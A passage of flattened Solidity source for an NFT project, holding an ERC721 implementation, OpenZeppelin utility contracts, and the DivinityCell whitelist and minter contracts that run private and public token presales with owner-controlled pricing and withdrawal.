}
}
// File: contracts/utility/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
event Premint(address indexed _to, uint256 indexed start_id, uint256 indexed count);
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _mint_many(address to, uint256 first_tokenId, uint256 count) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(first_tokenId), "ERC721: token already minted");
uint256 last_id = first_tokenId + count;
for (uint256 i = first_tokenId; i < last_id; i++) {
_mint(to, i);
}
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/math/Math.sol
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File: contracts/DivinityCellWhitelist.sol
pragma solidity ^0.8.0;
/**
* @title Divinity Cell DivinityCellWhitelist Contract
* @notice Part of the DivinityCellMinter
* @author Apriorit
*/
contract DivinityCellWhitelist is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet _whitelisted_users;
/**
* @notice Add toWhitelist address to the whitelist
* @param toWhitelist The address of account to whitelist
* @return Whether or not the transaction succeeded
*/
function whitelist(address toWhitelist) external onlyOwner returns(bool) {
require(!_whitelisted_users.contains(toWhitelist), "Address is already in whitelist");
_whitelisted_users.add(toWhitelist);
return true;
}
function getWhitelist() external view returns(address[] memory) {
return _whitelisted_users.values();
}
/**
* @notice Remove toUnWhitelist address from whitelist
* @param toUnWhitelist The address of account to remove from whitelist
* @return Whether or not the transaction succeeded
*/
function unwhitelist(address toUnWhitelist) external onlyOwner returns(bool) {
require(_whitelisted_users.contains(toUnWhitelist), "Address is not in whitelist");
_whitelisted_users.remove(toUnWhitelist);
return true;
}
/**
* @notice Add toWhitelist list of addresses into whitelist
* @param toWhitelist The addresses of accounts to add to the whitelist
* @return Whether or not the transaction succeeded
*/
function whitelistMany(address[] memory toWhitelist) external onlyOwner returns(bool) {
for (uint i = 0; i < toWhitelist.length; i++) {
_whitelisted_users.add(toWhitelist[i]);
}
return true;
}
/**
* @notice Remove toUnWhitelist list of addresses from the whitelist
* @param toUnWhitelist The addresses of accounts to remove from the whitelist
* @return Whether or not the transaction succeeded
*/
function unwhitelistMany(address[] memory toUnWhitelist) external onlyOwner returns(bool) {
for (uint i = 0; i < toUnWhitelist.length; i++) {
_whitelisted_users.remove(toUnWhitelist[i]);
}
return true;
}
/**
* @notice Check if account whitelisted or not
* @param account Account that we want to check
* @return Whether or not the account in the whitelist
*/
function is_whitelisted(address account) public view returns(bool) {
return _whitelisted_users.contains(account);
}
}
// File: contracts/DivinityCellMinter.sol
pragma solidity ^0.8.0;
/**
* @title Divinity Cell DivinityCellMinter Contract
* @notice Used for token presales
* @author Apriorit
*/
contract DivinityCellMinter is ReentrancyGuard, Ownable, Pausable, DivinityCellWhitelist {
using SafeMath for uint256;
uint256 public tokens_limit;
uint256 public tokens_this_sale = 0;
uint32 public buy_limit;
uint32 current_sale_id = 0;
uint256 public mint_price;
uint256 public sale_end_timestamp = 0;
uint256 public sale_start_timestamp = 0;
bool public is_sell_private = true;
mapping(uint => mapping(address => uint)) bought_current_sell;
address nft_contract;
/**
* @notice Return bought count for the current sale
* @param account Account that we want to check
* @return Count of bought tokens for the current sale
*/
function boughtCurrentSale(address account) public view returns(uint) {
return bought_current_sell[current_sale_id][account];
}
/**
* @notice If current sale is private, ensures that it still continues and sender is whitelisted
*/
modifier minterAllowed {
if (is_sell_private) {
require(block.timestamp < sale_end_timestamp, "DivinityCellAuction: Sale ended");
require(is_whitelisted(msg.sender), "DivinityCellAuction: Account is not whitelisted");
}
_;
}
/**
* @notice Ensures that there is no other sale. If last sale was public, ensures that all tokens sold
*/
modifier onlyIfNoSale {
require(sale_start_timestamp < block.timestamp, "DivinityCellAuction: New sale is about to start");
if (tokens_this_sale != 0) {
require(sale_end_timestamp < block.timestamp, "DivinityCellAuction: Private sale still continues");
}
_;
}
/**
* @notice Sets new mint price for token mint. Can be called only by contract owner
* @param nft address of NFT tokens contract, used for minting
* @param tokens_count Amount of tokens to be minted
* @param initial_mint_price Initial minting price
*/
constructor(address nft, uint32 tokens_count, uint256 initial_mint_price) {
tokens_limit = tokens_count;
nft_contract = nft;
mint_price = initial_mint_price;
}
/**
* @notice Send all eth collected by contract to _to account. Can be called only by contract owner
* @param _to The account that will revieve contract ETH
* @return Whether or not the transaction succeeded
*/
function collectETH(address payable _to) external onlyOwner payable returns(bool) {
(bool sent,) = _to.call{value: address(this).balance}("");
require(sent, "DivinityCellAuction: Failed to send Ether");
return true;
}
/**
* @notice Sets new mint price for token mint. Can be called only by contract owner
* @param new_mint_price New mint price
* @return Whether or not the transaction succeeded
*/
function setPrice(uint256 new_mint_price) external onlyOwner returns(bool) {
mint_price = new_mint_price;
return true;
}
/**
* @notice Starts private token sale. Can be called only by contract owner and only if other sale is not running
* @param per_user_limitation Number of tokens that be bought by accounts this sale
* @param tokens_count Number of tokens that will be sold this sale
* @param new_sale_end_timestamp Sale start timestamp
* @param new_sale_start_timestamp Sale end timestamp
* @return Whether or not the transaction succeeded
*/
function startPrivateSale(uint32 per_user_limitation, uint256 tokens_count, uint256 new_sale_start_timestamp, uint256 new_sale_end_timestamp) external onlyOwner onlyIfNoSale returns(bool) {
require(tokens_limit >= tokens_count, "DivinityCellAuction: Cant sell that much tokens");
require(new_sale_end_timestamp > block.timestamp, "DivinityCellAuction: Wrong timestamp passed");
require(new_sale_start_timestamp < new_sale_end_timestamp, "DivinityCellAuction: Start date should be less than end date");
require(per_user_limitation > 0, "DivinityCellAuction: Wrong limitation passed");
require(tokens_count > 0, "DivinityCellAuction: Wrong token count passed");
tokens_this_sale = tokens_count;
buy_limit = per_user_limitation;
sale_end_timestamp = new_sale_end_timestamp;
sale_start_timestamp = new_sale_start_timestamp;
current_sale_id += 1;
is_sell_private = true;
return true;
}
/**
* @notice Changes sale start and end timestamps.
* @param new_sale_end_timestamp New sale start timestamp
* @param new_sale_start_timestamp New sale end timestamp
* @return Whether or not the transaction succeeded
*/
function reschedulePrivateSale(uint256 new_sale_start_timestamp, uint256 new_sale_end_timestamp) external onlyOwner returns(bool) {
require(new_sale_start_timestamp < new_sale_end_timestamp, "DivinityCellAuction: Start date should be less than end date");
require(tokens_this_sale > 0, "DivinityCellAuction: No tokens left");
sale_end_timestamp = new_sale_end_timestamp;
sale_start_timestamp = new_sale_start_timestamp;
return true;
}
/**
* @notice Starts public token sale. Can be called only by contract owner and only if other sale is not running.
* Unlike private one, this will end only after all tokens are bought
* @param per_user_limitation Number of tokens that be bought by accounts this sale
* @param new_sale_start_timestamp Sale start timestamp
* @return Whether or not the transaction succeeded
*/
function startPublicSale(uint256 new_sale_start_timestamp, uint32 per_user_limitation) external onlyOwner onlyIfNoSale returns(bool) {
require(tokens_limit > 0, "DivinityCellAuction: Cant sell that much tokens");
require(per_user_limitation > 0, "DivinityCellAuction: Wrong limitation passed");
tokens_this_sale = tokens_limit;
sale_start_timestamp = new_sale_start_timestamp;
buy_limit = per_user_limitation;
current_sale_id += 1;
is_sell_private = false;
return true;
}
/**
* @notice Changes sale start timestamp.
* @param new_sale_start_timestamp New start end timestamp
* @return Whether or not the transaction succeeded
*/
function reschedulePublicSale(uint256 new_sale_start_timestamp) external onlyOwner returns(bool) {
require(sale_end_timestamp < block.timestamp, "DivinityCellAuction: Private sale continues");
require(tokens_this_sale > 0, "DivinityCellAuction: No tokens left");
sale_start_timestamp = new_sale_start_timestamp;
return true;
}
/**
* @notice pause current sale. Emits pause event
*/
function pause() public onlyOwner {
Pausable._pause();
}
/**
* @notice unpause current sale. Emits unpause event
*/
function unpause() public onlyOwner {
Pausable._unpause();
}
/**
* @notice Mints token for transaction sender. Can't be called if sale is not started
* @return ID of minted token
*/
function mint(uint256 amount) public payable whenNotPaused minterAllowed nonReentrant returns(bool) {
uint256 userLimit = buy_limit - boughtCurrentSale(msg.sender);
require(userLimit > 0, "DivinityCellAuction: This recipient cant buy more tokens this sale");
require(amount > 0, "DivinityCellAuction: Invalid amount");
require(block.timestamp >= sale_start_timestamp, "DivinityCellAuction: Sale hasn't started yet");
uint256 count = Math.min(amount, userLimit);
require(msg.value == mint_price * count, "DivinityCellAuction: Wrong amount of eth sent");
require(tokens_this_sale >= count, "DivinityCellAuction: Nothing to sell");
require(tokens_limit >= count, "DivinityCellAuction: Nothing to sell");
bool isMinted = DivinityCellNFT(nft_contract).premint(msg.sender, count);
require(isMinted, "DivinityCellAuction: mint failed");
bought_current_sell[current_sale_id][msg.sender] += count;
tokens_this_sale -= count;
tokens_limit -= count;
return isMinted;
}
/**
* @notice Mint count tokens for account. Can be called only by contract owner
* @param account The address of account that will recieve tokens
* @param count Count of tokens to mint
* @return Whether or not the transaction succeeded
*/
function premint(address account, uint256 count) external onlyOwner nonReentrant returns(bool) {
require(tokens_limit >= count, "DivinityCellAuction: can't mint that much tokens");
bool is_premnt_successful = DivinityCellNFT(nft_contract).premint(account, count);
require(is_premnt_successful, "DivinityCellAuction: premint was unsuccessful");
tokens_limit -= count;
return is_premnt_successful;
}
}
// File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
